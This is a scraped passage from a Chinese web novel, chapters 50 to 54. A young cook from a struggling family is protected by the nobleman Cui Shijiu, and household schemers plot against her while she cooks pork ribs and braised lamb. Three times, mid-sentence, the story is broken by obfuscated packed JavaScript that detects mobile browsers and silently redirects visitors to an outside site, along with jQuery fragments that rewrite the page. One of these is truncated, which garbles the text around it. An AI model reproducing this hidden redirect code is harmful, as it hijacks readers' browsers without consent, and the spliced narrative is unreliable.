童白朝钱嬷嬷微微屈膝行礼,“为主家办事,当不得辛苦二字,奴谢过钱嬷嬷了。”心下嘀咕,这钱嬷嬷可真是个冷性的。 张勇领着她从西角门出府,夜风清冷,扑面而来,让她打了个寒颤,却也吹散了在崔府积压的沉闷与惊惧。 一辆青帷马车静静停在巷口阴影处。 张勇上前低声一句:“爷,童小娘子到了。” 车帘被一只骨节分明的手从里面掀开,露出崔十九郎半张隐在昏暗光线下的脸。“上车。”声音听不出情绪。 童白愣住了,她没想到十九爷竟会在马车里等她,却不敢多问。在张勇的帮助下将沉甸甸的竹篓放好,手脚并用地爬上了马车,拘谨地坐在最外侧的软垫上,几乎不敢呼吸。 车轮碾过青石板路,发出辘辘的轻响。 车厢内弥漫着一股清冷的、像是松针又夹杂着书卷气的淡淡熏香,与童白一身油烟味形成鲜明对比。 “今日之事,你怎么看?”良久,十九爷的声音忽然响起,打破沉寂。 童白心下一紧,谨慎地回答:“奴……奴谢十九爷解围之恩。若非爷及时出现,奴今日恐难脱身。” “呵,”一声轻笑传来,“我是问,你对那肉和鱼,怎么看?” 童白指尖微颤,决定实话实说:“食材不鲜,纵有千般技巧,终是落了下乘。奴……尽力了。”哪怕因此崔十九爷后续不再用她制作宴客的点心,她也认了。 “嗯,还算老实。”十九爷的声音里听不出赞许还是批评,“那薄荷汁,用得不错。茱萸酱,想法也大胆。” 他竟然连茱萸酱都注意到了! 童白倏然抬头,却只看到他隐在暗处、模糊的轮廓。 “长安城里,想安稳活下去,光靠手艺和小心,是不够的。”他的声音淡淡的,却像锤子敲在童白心上,“今日我能替你挡一次,下次呢?” 童白屏住呼吸,心跳如鼓,等待着十九爷的下文,他却不再言语。 马车在寂静的夜色中,朝着崇贤坊驶去。前路仿佛被这浓重的夜色笼罩,看不分明。 51. 阴谋渐现 这个时间坊外没有其他闲杂人等,马车行驶的速度不低,待到崇贤坊北坊门时,童白听到张勇跟坊吏的交谈声,仔细辨认了一下,不像胡叔的声音。 沉重的坊门缓缓开启,车轮再次碾过路面,发出空旷的回响。 童白透过帘隙往外望去,坊内寂静无人,唯有主街道两侧屋檐下的灯笼在寒风中摇曳,在路面上投下黑影。她不由抱紧了怀中的竹篓,指尖微微发颤。 这不是疲惫,而是惊惧过后的余颤。 马车路过两棵交缠在一起的梧桐树,路过骆驼鸣叫声的谢家宅子,最终停在巷子的最东头。 张勇发出‘吁’声的同时,锐利的眼神不由扫过右边的陈家院门,满意地听到里面传出一阵窸窣动静,在马车停稳后,他利落跃下,叩响童家院门。 几乎是在报出“延寿坊崔家”名号的瞬间,门闩便应声而落。白氏苍白的面容从门后探出,目光急急掠过张勇,直直钉在掀帘而出的童白身上。 “阿娘,”童白嗓音微哑,“我回来了。” 白氏一把攥住她的手腕,力道大得惊人,上下打量一番,见她虽面色憔悴却四肢俱全,这才长长舒出一口气,腿脚却有些发软,倚着门框才站稳。 张勇将竹篓递入,并不多言,只朝童白微微颔首。车帘始终低垂,未见十九爷露面,却自有一股无形的威压弥漫在清冷夜色中。 目送崔家马车驶离,院门重重合拢。 童白与白氏就着昏黄油灯光亮,将其中鲜肉、嫩韭黄等物迅速归置,举着油灯进了主屋。屋内的床上,几个小的正窝在一起躺着,三娘和四郎正在酣睡,二郎眼睛瞪得老大,在昏暗的光线下显得晶亮。 她没急着歇息,而是坐在床沿,将今日在崔府发生的事情,文奶娘的刁难、劣质食材、十九爷突如其来的解围、钱嬷嬷最后的善意,乃至临别时十九爷那句意味深长的警告,低声尽数道出。 屋内一片死寂,只余油灯荜拨作响。白氏脸色煞白,手指紧紧绞着衣角。二郎抿紧嘴唇,眼底是与年龄不符的沉重。 “十九爷既出手,”童白缓声道,似在安慰家人,也似在说服自己,“短期内应不会再有事,至于后续如何,只能在他面前不断体现我的价值,这样才能换来他的庇护。”话说得冷静,却透着一丝无奈的清醒。 与此同时,行驶的马车内,崔十九郎慵懒的嗓音打破沉寂:“童家对门那户,什么底细?” 张勇驭车的动作微不可察地一顿,声音压得很低:“回爷的话,那家姓陈,之前的户主陈大江姜红娘在去年六月双双暴毙在家中,这新来的住户陈大河,是陈大江的堂弟,打着照顾原户主一双儿女的名义住进陈家,但他游手好闲,常打骂陈大江的儿女……据查,他与巡街的许小旗过往甚密,而许小旗,又常与贺校尉的人饮酒。” “贺校尉……”十九爷轻声重复,指尖在膝上无声敲击两下,“跟十五爷走的挺近?”这一声,是问也是低声轻喃。 “是。”说到此,张勇的话语明显停顿下来,似是不确定后续的话语该不该说出口来。 “你有何想法,但说无妨。”崔十九郎修长的指节敲击着膝盖,语气随意。 张勇:“童校尉在浅水原立下战功之事,军中已有风声。属下担心,有人不愿见童家安稳。又或者,也想用童家来分童校尉的心。” 去岁六月,盘踞在陇西的薛举、薛仁杲父子趁机造反,威胁关中,圣上派二皇子率军镇压,崔家便是先锋军,最开始战事不利,直到去岁十一月,薛举病逝,二皇子率军大败薛仁杲,薛仁杲战败投降。 二皇子押着薛仁杲回京复命,命崔将军在浅水原坐镇。他出发回长安时,陇西的镇压到了尾声,但童校尉迟迟未归,加上这段时日跟在十九爷身边也听闻了不少朝廷动静,他对于童校尉以及童家之事,有了新的认知。 车内陷入沉默,只闻马蹄声哒哒作响。良久,崔十九郎才淡淡开口:“后日,你去接童小娘子来我宅中,让崔老试试她的手艺。” 几次接触,童小娘子的手艺倒是还算合他胃口,而童校尉,从崔老那得来的消息,也算是个有勇有谋的将士,这样的人家,帮扶一把也不是什么坏事。 张勇心头一凛,旋即明了,这是要将“十九爷看重童家手艺”的名声做实,纳入羽下庇护。“是,属下明白。” 另一头,延寿坊崔府下人院中,文奶娘正坐在贺大山榻前,满面戚容。 “大山,这次是族婶对不住你,没成想那贱婢竟攀上了十九爷,累你丢了差事……”她拭了拭眼角,语气愧疚万分。 她家男人没了后,带着孩子的寡妇在前朝的乱世本就难以生存,所以安顿好自家的两个孩子后,她毅然决然地自卖自身。卖得的银子送回了夫君所在的贺氏一族的族长,换得儿女在族里平安长大。 后续,贺氏一族有难,她也拉了一把,眼前这贺大山便是由她在崔夫人面前引荐卖入的崔府。 要知道,在混乱的前些年,能卖入权贵家中过上安稳的日子,真比起在外面讨生活好多了。 贺大山趴在褥上,臀背杖伤犹痛,三角眼中怨毒几乎要溢出来:“婶娘快别这么说,只恨那童家小贱人狡诈!还有她那爹……童寄!若不是他当年……”他咬牙切齿,旧恨新仇齐齐涌上心头。 当初玉娘答应了自己,若是能将那白霜娘从绣房挤兑出去,便答应他的求娶,他在崔家其他几房院子里传出白霜娘勾引府上郎君的话语,开始顺利,最后没想到被童寄给破坏了,后来不仅玉娘嫁给了别人,他还被童寄给打了一顿。 原以为这个仇这次能报了,没想到…… “谁能料到他人都离了府,还能阴魂不散?”文奶娘叹气,语气转而低沉,“你且安心养着,待风头过去,夫人跟前,我总能再为你寻个出路。” 贺大山面上浮现感激的神色,“那大山就谢过族婶了。” 她又宽慰几句,目光扫过缩在墙角、大气不敢出的贺大山妻子,眼底闪过一丝不易察觉的厌弃,说出来的话语却是满满善意:“大山媳妇啊,你可要好好照顾好大山。”,方才起身告辞。 大山媳妇闻言,几不可闻的声音,“晓得了。” 一出那憋闷小屋,就听到房内传出的呵斥声,她浑然不觉地踏入清冷月色中。 文奶娘脸上伪装的慈和瞬间剥落,只剩下冰冷的算计与狠厉。 十九爷的出手打乱了她的计划,却也让她更清晰地意识到童家,尤其是那个童寄,绝不能留。否则,必成她儿子前程之大患。 冷白的月光照在她毫无笑意的脸上,竟比夜风更寒几分。 * 后续两日,卢婶子帮忙请的瓦匠上了门,依照童白的口述将烤炉砌在童家灶屋。 砌好烤炉的那一日,童家院落里就传出了烤猪排的香味。 从崔家出来带的那些食材中有猪排,当时在崔府的小厨房并没有烤炉,童 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16384576|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白便只取用了上好的五花做了红烧肉,另外一份猪排,倒是便宜了自己。 猪排肉嫩,但并不得百姓的青睐,毕竟没有油,肉也少,哪怕因此更有独特的口感,但百姓也不爱买,童白却不是这么想的,她脑中瞬间浮现好多猪排的菜谱,有西式的BBQ烤猪排,也有中式的炖猪排,红烧猪排、熏腊排……,然而最终,她还是选择做烤猪排。 一是测试下新砌的烤炉火力如何,二也是打算做好送一些给胡商。 毕竟,从胡商那换来的布料制成的衣裳比麻衣舒适太多,童白尝到了便宜就更想关系长长久久。 童白将猪排依烤炉大小分切,取细竹签,在厚肉处密密扎孔,以便滋味渗入,炙烤更透。 再找出个大瓦盆来,将花椒、醋、葱白、清酒和匀后将肉排放置进去,覆盖上浸湿的布巾,置于碗橱内腌制。 想着蜂蜜用麦芽糖替代后会丧失的一些风味,她匆匆拿上钱袋,往西市奔,上回她在粮食铺子见到了在那儿寄卖的梅醋,要是添加梅醋,能让肉排更多一些风味层次。 好在这梅醋的价格并不算贵,童白轻嗅一下,正宗,比起米醋和陈醋更多了一层梅子特有的清香和酸涩。 回家的路上,她瞧见了在西市门口卖柴的老汉,发现里面有几捆里夹杂着桑木,她眼睛一亮,买下木柴,用桑木和枣木烤制的猪排,带有一股特有风味。 回到家中将梅醋添加进去,醋加酒能形成弱酸环境,嫩化蛋白质,也就是让猪排肉感更嫩一些。 再将原本打算给二郎和三娘做鸡毛毽子的鸡毛征用,洗净晾干。 待得猪排腌制的差不多了,童白烧火熬煮烤肉的灵魂蜜汁。 小陶瓮置于灶膛上,小火,将麦芽糖、豉汁、清酒以及梅醋倒进去,手不断地用木勺搅拌,直到细密的泡泡争相涌现,用微火保温。 做好的蜜汁在阳光之下呈现出一种美拉德色系之美,又好像琥珀,晶莹剔透。 准备好凉白开在旁,童白烧起烤炉来,先用大火预热烤炉的同时,也将木柴碳化,眼见着差不多了,再将腌制好的猪排置于烤炉内的烧烤架之上,这已经是童白托工匠寻来的最接近后世烧烤架子的铁簟,同样都是网状的。 将肉排放置在烤架上,数了120个数,开始用鸡毛在肉排上刷上薄薄的蜜汁,混有麦芽糖的蜜汁遇到高温,迅速在肉排表层形成琥珀色的薄膜。 肉炙烤后的香味立马充斥在童家小院,甚至越飘越远。 此后,童白执鸡毛刷,蘸满蜜汁,一遍遍涂抹肉排,反复炙烤三回,直至每一处边角皆裹上琥珀糖衣,油光润泽。 随着炙烤时间的越来越久,肉排开始析出油花,肉排的边角处也开始微微卷边,焦黄,这并不是烧烤过火了,而是正正好。 这样的反复薄刷虽然耗时也费功夫,但这样操作可以在肉排表层形成好三层透亮的糖衣,外焦的同时,肉质又丰润多汁。 就在童白一心一意烤制猪排的期间,童家院子的门被敲响了两回,第一回是闻着味道而来的韦德和哈维,第二回是刚下值,专门绕道前来的张勇。 张勇想着后日贸然接人未免唐突,便提早一日前来通传,也好让童家有所准备。 等童白结束烹饪,端着覆盖着湿布的竹篮走到院中时,就瞧见了站在一旁面色惶惶的白氏,不断朝灶屋观望的韦德、跟张勇侃侃而谈的哈维,以及一脸严肃的张勇。 真是热闹啊。 52. 竭尽所能 暮色渐沉,外出做工的人匆匆往家奔,今日住在双梧巷的住户算是经历了甜蜜的烦恼,闻嗅着童家飘散出来的烤猪排香气,吃下了食不知味的一顿晚膳。 童家院门紧闭,将一巷的馋涎和窥探皆阻隔在外。 灶屋里,昏黄的灯光下,童白将一块烤的焦香四溢、蜜色晶莹的猪排从竹篮中取出,置于干净的案板之上,手起刀落,猪排被分成了四份。 晶莹的油脂藏在肉排边缘卷曲着的地方,随着刀的动作而浸润在案板上,混合着果木焦香与蜜汁甜辛的气息霸道的充斥在整个灶屋内。 “阿姊,这肉排不止好看,也好香啊。”三娘趴在三步外站立着的二郎的背后,眼睛瞪得溜圆,不住地闻嗅着空气中的香味,满腔的口水随着她说话张开的嘴角流了下来,跟在白氏怀中不安分扭动的四郎一模一样。 童白笑了笑,将剁下来的一小块猪排,递到三娘嘴边,再又拿起一块递给一旁的二郎,再是白氏,最后再拿起一块,放入自己的口中。 至于说流着口水眼巴巴地望着众人的四郎,不是她舍不得给,实在是四郎年岁尚小,她不敢乱给。 一口下去,牙齿咬断外层焦脆的蜜汁外皮,吸一口裹在外皮之下丰润的肉质,牙齿撕咬在鲜嫩的猪肉上,这种口感让童白为之一颤。 哪怕因为没有蜂蜜而降低了几分的甜度都不是什么遗憾了,毕竟,少糖也是健康饮食嘛! 几人很快便吃完嘴里的肉排,不过,每个人都舍不得扔掉吃干净的肉骨头,依旧放在嘴里轻轻嘬着,恨不得连骨头缝里的滋味都反复品味。 童白从来没想到有一天自己会对一块肉排的骨头如此喜欢,嘴里含着肉骨头,将粟米粥盛出到瓦盆里,再将另一个陶瓮里的清炖白菜萝卜盛出,一家人围坐在灶屋角落的木桌前,享用这一顿丰盛的晚膳。 一时间,灶屋里全是童家人用膳的声音,直到一碗粟米粥下肚,童白才有心思说话,“阿娘,”童白看向白氏,声音压低了些,“张军士的话您也听到了。明日我去十九爷私宅,晚上我会提前准备些蒸饼,到时候放在碗橱里锁好,对付个几日,应该没什么问题。” 她马上要离家了,却是怎么也不放心家里人,“韦德少爷答应再拿一匹布料来,您到时候收下便是,至于说别的事,”眼神朝院门方向瞧了一眼,很快又移了回来,“……以不变应万变吧。” 不然,也没有别的办法。 白氏闻言,原本因为美食而放松下来的心情,瞬间又紧绷起来,她搂紧怀里的四郎,声音发涩,“这十九爷跟那崔府会不会是一样的,都……”看我们家不顺眼。 不过后面那一句话还没说出来,就被童白打断。 “阿娘,不一样的,”童白语气平静却很坚定,“上回在崔府若无崔十九爷,我绝对难以脱身,他既然对我的厨艺感兴趣,我自然要好生表现,以求日后能被庇护。” 她内心深处明白,靠山靠人都会倒,但是在现在的情况之下,靠自己却是那么难实现。 情势比人强。 这话一说,其他人也没再继续言语,童家人沉默地用完晚膳,童白将后续几日留给家人做口粮的蒸饼做好,回到主屋时,二郎和三娘早已沉入梦乡,白氏坐在床上,轻轻拍着怀里的四郎,目光忧心忡忡地看着童白。 童白将吹熄油灯,钻进麻被里,才脱去身上的外衫,“阿娘,要是送来的棉布合适,咱们做点棉被套吧,至于说里絮,我到时候看看有没有别的可用。” 哪怕明日去往十九爷那边的情况暂无结果,但通过给韦德少爷提供的几次吃食,已然换来了些物品,可以改善生活,这也是童白内心的勇气源泉。 “嗯,”白氏轻声应下,嘴巴张开又闭合上,千言万语只成了一句话,“我省得的,你快睡吧。” 童白躺进被窝里,眼睛盯着房梁,鼻间闻嗅着麻被特有的气味,奇异的跟崔府那小厨房隔壁的仓房里的气味有那么一丝类似。 耳边一直回荡着十九爷那句“下一次呢?” 下一次,她并不知道,她只知道,穿来后,她每一日睡前都要做心理建设,只为第二日醒来后有力量去迎接新的一日的挑战。 也不知道十九爷于她于童家来说,是敌是友,但无论是哪一种身份,她定会在他面前证明自己的价值,因为只有有价值的人,才会获得对方的庇护,而庇护,则是童家目前最需要的。 翌日清晨,童白起身的时候发现床头放着叠的整齐的浅蓝色棉裙,白氏早已不在主屋。 出了主屋在院子里见到了捧着粟米挑石子的白氏,她眼下的青黑愈发严重,却是微弯着眉眼,细声道:“今日早膳我来准备,你去收拾行李。” 童白想说没什么要准备,却被白氏摆手打断:“你离家这几日我也要做膳食,多一顿还能多练练呢。” 童白想了想,道理是这个道理,点头应下。 用完早膳,童白又检查了下西屋里的囤菜,这时,太阳也从云层中透射出来,她又去灶屋搬出酸腌菜和酱油坛子来院中, 二郎跟在她身后,保证道:“阿姊,你出门这几日,只要出太阳,我就搬它们来院中。” 童白赞道:“那自然是好,有咱们二郎在,阿姊可真是省心了!” 近午时,童白换上新裙,仔细检查了要带的竹篮,一切都准备妥当,坐在院中,边跟三娘说话,边耐心等待。 马蹄声和车轮碾过路面的声音准时在门外响起。 来的仍是张勇,驾着一辆比昨日更显朴素的青毡马车。 他微微朝童白颔首,目光锐利地扫过童家院门和对门陈家紧闭的院门,低声道:“小娘子请上车。” 坐进马车厢,童白透过车帘缝隙瞧了站在院门外送行的童家人一眼,心中的想法越发坚定。 马车在坊间穿梭,最终停在安仁坊一处清静宅邸的侧门,宅子的门楣并不张扬,屋檐下左右悬着两盏素面灯笼,门口站着一名神色恭谨的中年仆役。 “童小娘子,请随我来。”仆役躬身引路。 走在回廊上,童白目不斜视地望着正前方,这深色的回廊显得古朴沉静中带着几分清雅疏朗,不似崔府回廊雕刻着繁复的雕饰,回廊旁栽种着几株苍劲的古松,雪白的积雪落在枝丫间,更显现几分静谧。 童白被引至一处暖阁外。仆役止步,向内通报:“爷,童小娘子到了。” “让她进来。”里面传来崔十九郎清朗的嗓音。 童白深吸一口气,提裙迈入。 暖阁内炭火融融,温暖如春,与外面的清寒恍若两个世界。 崔十九郎只穿了一身素色锦袍,闲适地倚在一张软榻上,手中把玩着一卷书册。见童白进来,他抬眸,目光在她身上那身浅蓝棉裙上停留一瞬,嘴角似有若无地勾了一下。 “奴给十九爷请安。”童白垂首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“十九爷喜欢便好。”童白心下稍安。 “昨日新砌了烤炉?”崔十九郎忽而问道,视线却扫过一旁的张勇。 “是。想着日后或能多一种营生。”童白谨慎回答。 “嗯。”崔十九郎不置可否,目光重新落回她脸上,看似随意地问道:“前日崔府之事,若我未至,你会如何?” 童白心下一凛,沉吟片刻,如实答道:“奴不敢欺瞒十九爷,若十九爷未来,奴或许会据理力争,指出食材问题。然人微言轻,恐无人肯信,最终难免获罪。”她顿了顿,声音更低了些,“奴知晓,无论如何,文嬷嬷等人都不会善罢甘休。”那一日,若是没有十九爷相助,那个局,根本没法破开。 “你倒是清醒。”十九郎轻笑一声,看向童白的眼神多了几分赞赏,“那你想过,我为何要帮你?”没想到这童家的小娘子看着温温吞吞,处事谨慎,言语坦然。 有点意思。 童白抬头,迎上他那双深邃难辨的眸子,微微摇头道:“奴想来,爷出手,自有爷的道理。奴……唯有竭尽所能,不负爷回护之意。” “竭尽所能?”崔十九郎重复了一句,指尖在榻几上轻轻一点,“张勇。” 侍立一旁的张勇立刻上前一步:“爷。” “带她去小厨房。告诉崔老,今日的晚膳,让她试两道菜。”崔十九郎语气随意,仿佛在说一件微不足道的小事,“食材和调料,随童小娘子选用即可。” 张勇躬身应道:“是。”他转向童白,“童小娘子,请随我来。” 童白心脏猛地一跳,恭敬地向十九郎行了一礼,提起空了的竹篮,跟着张勇退出暖阁。 崔十九郎视线回到书本之上,下一瞬,他嘴角微微扬起,似是呢喃又似是自言自语道:“也不知道这童小娘子会做什么?” 53. 立足之地 来厨房的路上,童白脑中闪现过十数道菜谱,却又被她一一否决。 毕竟原主的经历并不难查,一个没有正经向大厨拜师学艺的小娘子,再有巧思也有限。 宅子的厨房宽敞明亮,西南角的三个大灶里的木柴烧的噼啪作响,灶台上的各式炊具井然有序,食材琳琅满目,空气里弥漫着一种井然有序的、混合多种香料的富足气息。 童白垂首跟在张勇身后,指尖微微蜷缩。这宽敞明亮于她家的烟熏火燎,形成一种无声的威压。她知道,这不是一次简单的烹饪,而是一场关乎童家前途的考较。 站在灶屋门外,都能闻到里面传出的混合着食物和香料的复杂气息,童白不着痕迹地逐一辨认,好像有花椒、豉汁和桂皮…… 一位精神矍铄的老者立于主灶旁,正是崔老。他扫过童白那身浆洗得发白的浅蓝棉裙,眼神平淡无波,几名帮厨垂手侍立,眼神中既有好奇,也藏着几分不易察觉的审视。 张勇低声与崔老交谈几句后便退至一旁。 “既是爷的吩咐,小娘子便请自便。”崔老语气平淡,听不出喜怒,“需用何物,只管开口。只望小娘子的手艺,莫要辜负了爷的赏识。” 那“赏识”二字,轻飘飘的,却压得童白心下一沉。 她恭顺应了声“是”,目光迅速掠过食材区。豚肉、活鱼、时蔬……最终,一块纹理漂亮、肥瘦相宜的羊肋肉锁定了她的视线。 羊肉价高,非寻常百姓可常食,但原主在崔府时因童爹也有幸尝过几回,是比较合适的选择。 正思忖做法,崔老声音再次响起:“童小娘子,老朽年岁大了,牙口不行。羊肉虽美,奈何难克化。你若能做出一道让老朽吃得舒坦的菜……那才算真本事。” 童白神情一凛,她都还未挑中,崔老便瞧出了她的心思,这…… 崔老的话音才落下,旁边一位身材微胖的中年男子模样的吴大厨嘴角几不可察地向下撇了撇,抱臂旁观,似在等待一场注定的败局。 牙口不佳? 童白一番计量,清炖显原味却平常,炙烤香浓却坚韧。眼角余光瞥见墙角一筐被冷落、表皮微皱的野果。走上前,取出一颗,入手微凉粗糙。削皮,露出青黄果肉,凑近一嗅,一股尖锐酸涩冲入鼻腔。 她小心咬下一丝果肉,强烈的酸涩与粗砺感瞬间席卷味蕾,激得她眼角生理性地沁出泪意。 童白面不改色地咽下。 是山楂!酸涩浓烈,品相并不好,也不知道怎么混杂在十九爷的食材中。 不过,此物之酸,正是解腻增香、软化肉质的天然妙物! 她不再犹豫,指向那块羊肋肉和那筐山楂:“劳烦,取此羊肉与二十枚此果。再请予我一瓮清水,些许姜葱,一壶清酒。” 帮厨依言照办,余下的众人目露惊讶,特别是吴大厨,他眼中闪过一丝复杂的目光。这筐果子,当初买下来也是碍于情分,本是不会出现在后厨之列,但昨日帮厨询问时,他鬼使神差地点头让其留了下来。 崔老和张勇的视线在野果和胖大厨脸上扫过,并没有询问,但也没有遮掩他们眼中的了然。 童白没留意也没在意其他人眼中的眉眼官司,她净手后,将羊肉放入清水中浸漂,去除血水与膻味。再取来山楂,仔细洗净,用小刀一一去核备用。她的动作不快,却极稳,每一步都透着一种沉静的专注。 正是这一份沉稳,渐渐让周遭略带轻视的目光收敛了些。 浸泡羊肉的间隙,她的视线再次看向调料架。青盐、豆酱、香醋……甚至在一角,她发现了一小罐色泽深棕的红糖块和一只密封极好的小陶罐,揭开一丝缝,醇厚的甜香证实了她的猜测,小陶罐里装的正是蜂蜜。 童白的心跳微微加速,这十九爷是真心想考一考她的厨艺啊! 而她并不惧怕崔十九爷的考验,都说挑货的才是想要买货的,虽没有接触太多,但她也知道崔十九爷并不是闲的没事找事做的,所以是真的想看看她能做到多少,以及厨艺究竟是怎样。 碍于原主的过往,有些厨艺她展示不了,但都是暂时的,她准备后续只要时机成熟,她定会一点一点展示出她的厨艺来。 毕竟,自己的价值,还需一步步体现,过早亮出所有底牌,反为不美。 时间悄然流逝,厨房内只闻灶火噼啪与童白处理食材的细微声响。崔老兀自闭目养神,吴大厨则抱臂旁观,神色莫测,张勇的额角浮现出薄薄的潮意。 待羊肉浸漂得宜,童白将其捞出沥干,置于案上。她执刀在手,眼准手稳,顺着纹理将羊肉切成大小均匀的方块。刀锋与案板接触,发出沉稳利落的“笃笃”声,显出不俗的刀工底子。 起火,坐瓮。她并未直接用油爆炒,而是将羊肉块与处理好的山楂、姜片、葱段一同放入冷水瓮中,再倾入半壶清酒。 “焯水去膻,但加这酸腐野果是何道理?”吴大厨终于忍不住,低声质疑。 童白头也未回,手下不停撇去浮沫,声音清晰却不高:“此果之酸,能助羊肉更快酥烂,亦能解其油腻,添一分果香清新。且其酸味经炖煮转化,只留醇厚,不显尖涩。” 吴大厨一怔,似是没想到她竟坦然解释这近乎“秘方”的窍门,眼神复杂地又多看了她几眼。 崔老半阖的眼眸睁开一丝,若有所思。 待血沫尽去,汤色渐清,童白捞出羊肉,以温水冲净。重新起瓮,少许素油烧热,下姜葱煸香,再倒入羊肉块翻炒至微黄。烹入剩余清酒,“嗤啦”一声,酒气蒸腾,浓郁肉香瞬间迸发。 童白闻嗅着鼻间浓郁的酒气,点头赞道:“这清酒不错!” 吴大厨闻言挺了挺胸膛,心想,这小娘子还算是个识货的。他不傻,虽对主子试新厨子的行为有些许不满,却也不会做出用坏的食材搅和主子之事的行为来。 毕竟,别看主子年岁不大,行事却是极为老辣,他若是。 注入足量热水,没过羊肉。大火烧沸,再次投入剩余山楂。她将灶火调至文火,盖上瓮盖,任由其慢慢煨炖。 “崔老,”童白转身,恭敬道,“此肉需文火慢炖至少一个时辰,方能使肉质酥烂,酸味入肌理。在此期间,奴可否再备一道小食,以供爷与崔老餐前开胃?” 崔老眼中掠过一丝极淡的兴味,颔首:“可。” 童白心下稍安,知道第一关算是过了。她目光再次投向食材区,心中已有了想法。 她的视线落在那一小罐珍贵的蜂蜜和旁边的面粉袋上。时间有限,复杂点心自是来不及,但一道简单却极显巧思的蜜炙饼,或许可以试着做一做。 取来适量面粉,童白调入温水,简单揉成面团,覆上湿布静置醒发水合。旋即又取出一小碗饴糖,兑入少许清水,又极珍惜地舀了小半勺蜂蜜融入其中,制成一份浓稠甜蜜的蜜浆。 吴大厨对那坑坑赖赖的面团还未言语,厨房里的一个中年帮厨倒是嘟囔了几句,“没想到这小娘子做面食,如此不讲究,早说,我还能帮着做呢。”他们揉按的面团哪个不是光滑细腻,这种坑坑赖赖的面团可真是丢人! 崔老别看年纪不小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431821|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,耳聪目明的很,随着这帮厨的话语,他打量的目光又在童白身上转了好几圈。 童白置若罔闻,后世网络有个赛道叫做邪修做饭,只要结果好,谁在乎过程上的一点点差强人意呢! 等待面团醒发的功夫,她也没闲着。见灶上有煨着的鸡汤,便取用一小碗,又寻来最水灵的白菜心,片成薄如蝉翼的片,投入冰凉的井水中略泡,使其更显脆嫩。 “崔老,这份上汤白菜心,口感清润,辅以羊肉同食,既能解腻也能平和羊肉带来的燥。” “哦。”崔老记下她的说法,打算回头去问问懂医理之人,若真如这童小娘子所言,那么这小娘子的本事还真不容小觑。 吴大厨心中涌上酸涩。崔老之前还对童小娘子是鼻子不是眼的,现如今,才一道没尝过的羊肉,就变了。 鸡汤这会儿炖的刚刚好,舀出在陶瓮中,再将白菜心放入其中,浮浮沉沉几下,白菜心变得塌软,这道上汤白菜心便可以出锅了。 另一边,烧开的热水注入搅打均匀的鸡蛋液中,用勺撇去浮沫,将这碗鸡蛋液放入已然上汽的蒸屉内,再盖上一个瓦盆,“这是鸡蛋羹,软嫩细滑,性平,适合幼童和老人食用。” 崔老瞧见这道菜时,眼眸里闪动起了不一样的神色。 处理这些的间隙,一旁的面团也经历了三醒三揉,细腻的如同幼童的皮肤一般。 崔老瞧得真切,厨房里的其他人同样也是,之前说话的帮厨默默垂下头来。 崔老对童小娘子见缝插针的做菜方式十分感兴趣,“小娘子这时间功夫掌控的可真是好啊。”说这话时,瞧见童白又已经用抹布将之前制作菜肴时弄乱的灶台收拾得当,心下更是满意。 完全没有最开始的审视。 童白微微朝崔老点点头,她并不习惯于边做美食边说话,特别是没有口罩的这里。 手下如飞,将醒好的面团分成几个大小合适的剂子,再擀成薄薄的面皮,用杯口扣出一个个圆润的小饼坯。 又取来平底鏊子,烧热后转小火,将饼坯一一贴入,耐心焙烤。不多时,面饼受热鼓起,表面烙出点点焦黄斑块,麦香四溢。 她用竹制夹子将烙好的小饼取出,趁热刷上精心调制的蜜浆。蜂蜜遇热,散发出诱人的焦甜香气,与面饼的麦香交织,勾得厨房内几位帮厨都忍不住暗暗吞咽。 “小娘子,爷不喜过甜。”吴大厨在一旁提醒道,语气却比先前缓和了不少。 “谢大厨提醒,此饼只薄刷一层提味。”她将饼回鏊微炙,待蜜浆凝成透亮薄脆的糖衣便立即取出。 此时,炖着羊肉的陶瓮中已传出“咕嘟”的轻响,蒸汽顶得瓮盖轻微起伏,一股混合着肉香与果酸奇韵的热气袅袅溢出,弥漫在整个厨房,与蜜饼的甜香奇妙地共存,竟不显突兀,反而令人食指大动。 这时候铁鏊子因为长期在火上架着,表面温度过高,她让帮厨将鏊子取下放在一旁冷却。 心里估算着时间揭开瓮盖。顿时,更为浓郁的香气扑面而来。 瓮中汤汁已收浓些许,羊肉色泽红润,随着翻滚的汤汁微微颤动,显是已炖得酥软。 她取来一根竹箸,轻轻一戳,筷尖毫无阻碍地没入肉中。 成了。 小心捞出羊肉,滤出残渣,将汤汁重新入小锅,准备最后调味收汁。所有人的目光都聚焦在她身上。 这一步将决定她今日能否为自己和家人撬开一丝缝隙。 童白深吸一口气,稳住微颤的手腕,将全部心神凝聚于渐浓的汤汁之上。 54. 不一般的巷子 汤汁在小火下渐渐收拢,泛起细密油亮的气泡,颜色愈发深沉,挂勺欲滴。 童白全神贯注,把握着火候,将浓缩了肉脂精华与果酸韵味的酱汁均匀浇在酥烂的羊肋排上。酱汁流淌,覆盖每一寸肌理,光泽诱人。最后撒上一小撮翠绿葱花点缀。 红焖羊肉,成。 厨房内一时寂静,只闻灶底柴火的轻微噼啪声。那香气霸道却层次分明,酸香引涎,肉香勾魂,蜜饼的甜香在一旁巧妙地平衡着味蕾的期待。 